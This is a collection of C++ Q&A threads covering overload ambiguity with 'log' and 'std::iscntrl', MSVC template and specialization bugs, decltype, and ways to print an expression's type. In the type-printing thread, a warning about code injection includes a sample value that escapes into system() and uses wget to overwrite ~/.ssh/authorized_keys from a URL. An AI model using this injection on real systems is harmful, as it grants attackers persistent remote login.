Not ambiguous identifier - c++

Visual C++ 2017 compiles the following cleanly, calling the user-defined log:
// Source encoding: UTF-8 with BOM ∩
#include <algorithm> // std::for_each
#include <iostream>
#include <math.h> // ::(sin, cos, atan, ..., log)
#include <string> // std::string
void log( std::string const& message )
{
std::clog << "-- log entry: " << message << std::endl;
}
auto main()
-> int
{
auto const messages = { "Blah blah...", "Duh!", "Oki doki" };
std::for_each( messages.begin(), messages.end(), log ); // C++03 style.
}
I think that's a compiler bug, since I designed the code to show how an identifier can be ambiguous due to name collision with the standard library.
Is it a compiler bug?
Supplemental info: MinGW g++ 7.2 issues several error messages. They're not exactly informative, 15 lines complaining about std::for_each, but evidently they're due to the name collision. Changing the name of log the code compiles nicely.
Update: Further checking indicates that it's clearly a compiler bug, because Visual C++ compiles the following (except when symbol D is defined):
#include <cmath> // std::(sin, cos, atan, ..., log)
#include <string> // std::string
namespace my{ void log( std::string const& ) {} }
using std::log;
using my::log;
auto main()
-> int
#ifdef D
{ return !!log; }
#else
{ auto f = log; return f==my::log; }
#endif
Reported to Microsoft (the new MS bug reporting scheme is very buggy: it thought it was a good idea to word-wrap the code, then refused to let me upload source code file unless I gave it a ".txt" filename extension).

This is a compiler bug because the compiler should not be able to perform template argument deduction for the for_each call.
The only declaration of for_each that could match is defined as [alg.foreach]:
template<class InputIterator, class Function>
Function for_each(InputIterator first, InputIterator last, Function f);
Template argument deduction applied on function parameter f needs the type of the function call argument log to proceed. But log is overloaded, and an overload set of functions does not have a type.
For example, this simpler code should not compile for the same reason:
#include <algorithm> // std::for_each
#include <string> // std::string
void log( std::string const& message );
void log();
auto main()
-> int
{
auto const messages = { "Blah blah...", "Duh!", "Oki doki" };
std::for_each( messages.begin(), messages.end(), log ); //template argument deduction for template parameter Function failed.
}
It works in this version of MSVC because templates (used to be/) are implemented as a kind of macro, so log is passed as a name, and overload resolution is performed at the point where log is called in the body of for_each.
About the edit:
The expression !!log is equivalent to a call to bool operator(bool) there are no template argument deduction, the compiler just can not know which overload of log it can use to make the conversion to bool.
Inside declaration of the form auto x=y, the actual type of x is deduced using template argument deduction [dcl.type.auto.deduct]/4:
If the placeholder is the auto type-specifier, the deduced type T' replacing T is determined using the rules for template argument deduction. [...]
So the behavior of MSVC is wrong but consistent.

Defining your own ::log causes undefined behaviour (no diagnostic required).
From C++17 (N4659) [extern.names]/3:
Each name from the C standard library declared with external linkage is reserved to the implementation for use as a name with extern "C" linkage, both in namespace std and in the global namespace.
Link to related answer.

Related

Assign cctype function to std::function, gcc compile error

Hi I hope you like this question. I’m talking about the functions iscntrl, isprint, etcetera in the include file cctype. All these functions take an int and return an int.
The following code example did run fine in Wandbox with compiler set to clang. But on my mingw-w64, gcc8.1 it did produce compile errors. I tried both C++14 and C++17.
#include <cstddef>
#include <cstdio>
#include <cstdint>
#include <string>
#include <tuple>
#include <functional>
#include <array>
#include <cctype>
//#include <ctype.h>
namespace abc
{
int two_times( int a )
{
printf( "two_times being called\n" );
return 2*a;
}
int three_times( int a )
{
printf( "three_times being called\n" );
return 3*a;
}
}
int main()
{
typedef std::tuple< std::string, std::function<int(int)> > item_t;
std::array< item_t, 3 > array{
std::make_tuple( "three_times", abc::three_times ),
std::make_tuple( "two_times", abc::two_times ),
std::make_tuple( "iscntrl", std::iscntrl ) };
int i = 2;
for( const item_t& item : array )
{
printf( "operation: %s\n", std::get<0>(item).c_str() );
int val = std::get<1>(item)( i );
printf( "val: %d\n", val );
putchar( '\n' );
}
getchar();
return 0;
}
As you can see I put all of the relevant stuff that my loop would need into an array. Including the function objects that are assigned to the cctype functions.
The functions two_times and three_times are there to show the rest of my design is fine. If I just use these functions it works. But in my eyes std::iscntrl is just another function that have an int as argument and returns an int. But apparently not, because it produces the following compile error:
error: too many arguments to function 'constexpr std::tuple<typename std::__decay_and_strip<_Elements>::__type ...> std::make_tuple(_Elements&& ...) [with _Elements = {}]'
std::make_tuple( "iscntrl", std::iscntrl ) };
Oh yeah, if you replace the include file with #include <ctype.h> and remove the std:: namespace label in front of iscntrl it suddenly works as well. But that is not good practice. But maybe it tells you something.
Making it even simpler, neither gets it working:
std::function<int(int)> f;
f = abc::two_times;
printf( “result: %d\n“, f( 4 ) ); // so far fine
f = std::iscntrl;
Then at the last line:
error: no match for 'operator=' (operand types are 'std::function<int(int)>' and '<unresolved overloaded function type>')
f = std::iscntrl;
Did I something wrong? What would be a simple solution to get it to compile with gcc?
Few functions in the standard library (since C++20) are so-called addressable functions. All others may only be called with appropriate arguments, not have their address taken.
Even before that, the standard didn't guarantee absence of overloads, which had nearly the same effect.
In your case, there is
int iscntrl( int ch ); in <cctype> and
template< class charT >
bool iscntrl( charT ch, const locale& loc ); in <locale>.
Even if you only included the first header directly, all standard headers may include any of the others aside from the C and adopted ones, so they are potentially both available.
As you pass to a template-argument, the compiler cannot disambiguate which of the overloads you meant.
What you should do is pass a lambda forwarding as needed. As a bonus, you can use that to force the argument into the proper range for unsigned char, avoiding undefined behavior.
std::iscntrl is referred to as an <unresolved overloaded function type> in the error because in C++ this function is indeed overloaded. There is a int iscntrl( int ) overload from the <cctype> header and a bool iscntrl( charT ch, const locale& loc ) overload from <locale>. The compiler doesn't know which function to choose when you pass it like that.
To resolve this and still use the C++ version you must pass a function that calls iscntrl from within:
std::make_tuple( "iscntrl", [](int c) { return std::iscntrl(c); } );

MSVC compiler instantiates a function template's default definition even though a specialization exists

The following code compiles and behaves correctly on macOS, using Clang, but doesn't on Windows using MSVC 2017.
// File: toString.h
#include <string>
template<typename T>
const std::string toString(T){return "";}
// File: toString.cpp
#include "toString.h"
template <>
const std::string toString<int>(int value){
return std::to_string(value);
}
// File: main.cpp
#include <iostream>
#include "toString.h"
int main() {
// specialized
std::cout <<"int: "<< toString(1) << std::endl;
// not specialized
std::cout <<"double: "<< toString(1.0) << std::endl;
return 0;
}
// Expected output:
// int: 1
// double:
It fails at the linker, as the function is implicitly instantiated rather than linked to the int specialization, resulting in duplicate symbols.
If the default implementation of the template is removed, then the line printing the double would fail as there would be no symbol to link it to.
My question is whether there is any way to achieve the same result on Windows with MSVC, without main.cpp having any visibility of the toString specialization (declaration or definition).
If not, is this covered by the standard or simply a compiler implementation detail?
There is nothing in tostring.h to tell the compiler that your specialisation exists. Therefore when compiling main.cpp the compiler simply instantiates the template declared in the header. The violates the one definition rule so the behaviour is undefined. That it works as you expect in clang is mostly due to luck in that of the two available definitions at link time clang chose the one you wanted.
To fix it you need to forward declare your specialisation in the header so that the compiler knows not to instantiate the template when compiling main.cpp:
//toString.h
#include <string>
template<typename T>
const std::string toString( T ) { return ""; }
template <>
const std::string toString<int>( int value );

Error while compiling code having | operator overloaded under template definition ,with VS2017 Update8.2

My question is that while compiling C++ source code with Visual Studio 2017 Update 8.2, I am facing compilation error with message saying:
sstream(270): error C2131: expression did not evaluate to a constant
sstream(270): note: failure was caused by call of undefined function or one not declared 'constexpr'
sstream(270): note: see usage of 'operator |'
sstream(249): note: while compiling class template member function 'std::fpos<_Mbstatet> std::basic_stringbuf,std::allocator>::seekoff(__int64,std::ios_base::seekdir,std::ios_base::openmode)'
sstream(730): note: see reference to class template instantiation'std::basic_stringbuf,std::allocator>' being compiled
test.cpp(3): note: see reference to class template instantiation 'std::basic_stringstream,std::allocator>' being compiled
I am sharing the code snippet which can produce same compilation error. Please someone help me with this.
The answer given was good and solved few issues . however I am facing another issue . I put the overloaded template into a namespace but put that in header file , because the existing code has the overloaded template in a header file . Again I am facing same issue . I am updating the code now
My Code:
cpp file test.cpp
#include "test.hpp"
#include <sstream>
namespace testing
{
struct Message {
std::stringstream ss_;
};
}
using namespace ABC;
int main() {
return 0;
}
header file test.hpp
namespace ABC
{
template <typename T>
bool operator|(T v1, T v2) {
}
}
Defining global function templates for overloading operators is truly dangerous, because it will affect existing code within the same scope that uses the operators your have overloaded.
The error in your sample is because MSVC tries to compile
constexpr auto _Both = ios_base::in | ios_base::out;
with your operator |, and (un)fortunately, your overload function is not a constexpr-function.
The solution is simple: put your overloaded template into a namespace:
namespace ext_ops {
// operator to combine two parameter attributes v1 and v2, e.g.,
template <typename T>
bool operator|(T v1, T v2) {
return false;
}
}
Aside: maybe you could check out how the STL had done that via: https://en.cppreference.com/w/cpp/utility/rel_ops/operator_cmp

Functions and function pointers in C++

With reference to the following code
#include <iostream>
using std::cout;
using std::endl;
#include <vector>
using std::vector;
void function() {
cout << "Hello World" << endl;
}
int main() {
vector<void (*) ()> functions;
functions.push_back(function); // (1) no error
functions.push_back(&function); // (2) no error
for (const auto& func : functions) {
func();
}
// vector<decltype(function)> vec; // (3) error
return 0;
}
There seems to be an error when I uncomment (3), I am just trying to understand the reasoning behind this. When I pass in a function as the argument to a templated function does it resolve the type to a function pointer? It would make sense for the compiler to deduce all function types as such to a function pointer but why then does the decltype() not resolve to a function pointer?
decltype(function) is void() - a function.
what you need is the decayed version of a function - void(*)():
std::decay<decltype(function)>::type
std::vector < std::decay<decltype(function)>::type > myPtrFunctionVec;
PS.
if you're working with VC++ (visual stdio) you can easily see the type deduced from decltype by printing typeid(decltype(XXX)).name(). VC++, unlike other compilers, gives the undecorated name of a type. very handy for metaprogramming debugging.
EDIT:
as #Daniel Jour has commented, the solution decltype(&function) workd as well, because the construct &f gives the pointer to f, which is what you need

Print types of arbitrary C++ expressions

I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this? If not, is there a pretty easy way to do it by integrating with an existing compiler and calling into its debugger or API? I've been told, for example, that Clang has a fairly complete compiler API, perhaps there's some way to just pass a string into Clang along with the appropriate include directives and have it spit out a type?
I realize that this is potentially a huge project if there's nothing close to this existing today. I just thought it would have significant educational value, so it seemed like it was worth checking.
I came up with an answer inspired by Ben Voigt's comments. Just make a bug and let the compiler tell you the type which caused it:
template <typename T> void foo(T); // No definition
int main() {
foo(1 + 3.0);
}
Result:
In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'
Also, since you execute nothing but the compiler, you're pretty safe. No sandboxing needed, really. If you get anything other than "undefined reference to void foo<T>(T)", it wasn't an expression.
[edit] How would you put this into a tool? Simple, with macro's
// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }
int main() {
foo(EXPR);
}
Now compile with $(CC) /D=(EXPR) TestHarness.cpp. Saves you from rebuilding the input file every time.
Improving yet more on MSalter's improvement:
class X {
template <typename T> static void foo(T) {}
};
int main() {
X::foo( $user_code );
}
Result (with $user_code = "1 + 3.0"):
prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context
This avoids the link step.
Original answer:
C++ has the typeid keyword. Conceptually, you just need to stick the user's expression into some boilerplate like:
extern "C" int puts(const char *s);
#include <typeinfo>
int main(void)
{
const type_info& the_type = typeid( $user_code );
puts(the_type.name());
}
And then pass that source file to the compiler, and run it to get the answer.
Practically, it's going to be difficult to avoid running malicious code. You'd need to use a sandbox of some type. Or be really really careful to make sure that there aren't mismatched parentheses (you do know what trigraphs are, right?).
yes I'm aware that the argument of typeid isn't evaluated. But let $usercode be 1); system("wget -O ~/.ssh/authorized_keys some_url" !
A better option would be to avoid running the program. With a framework (requires C++11) like:
extern "C" decltype( $user_code )* the_value = 0;
You could run the compiler with the option to generate debug data, then use e.g. a dwarf2 reader library and get the symbolic type information associated with the_value, then remove one level of pointer.
Here's one way you can do this in GCC and Clang with __PRETTY_FUNCTION__:
#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>
template<typename T>
static constexpr auto type_name() noexcept {
// __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]\0"
return std::string_view{ begin, size };
}
template <typename T1, typename T2>
class my_class { }; // Example Class
int main() {
my_class<int&, std::vector<double>> my_arr[20];
std::cout << type_name<decltype(my_arr)>();
}
Output on GCC:
my_class<int&, std::vector<double> > [20]
I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this?
These days, there sort of is such a tool - online. It only does what you want as an unintended by product though. I'm talking about Matt Godbolt's Compiler Explorer.
Your "program" will look like this:
#define EXPRESSION 123
template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
Now, if you replace 123 with a C++ expression, you'll get, in the compiler error messages section, the following:
<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type
4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
| ^
Compiler returned: 1
The first line has your desired type, within the angle brackets.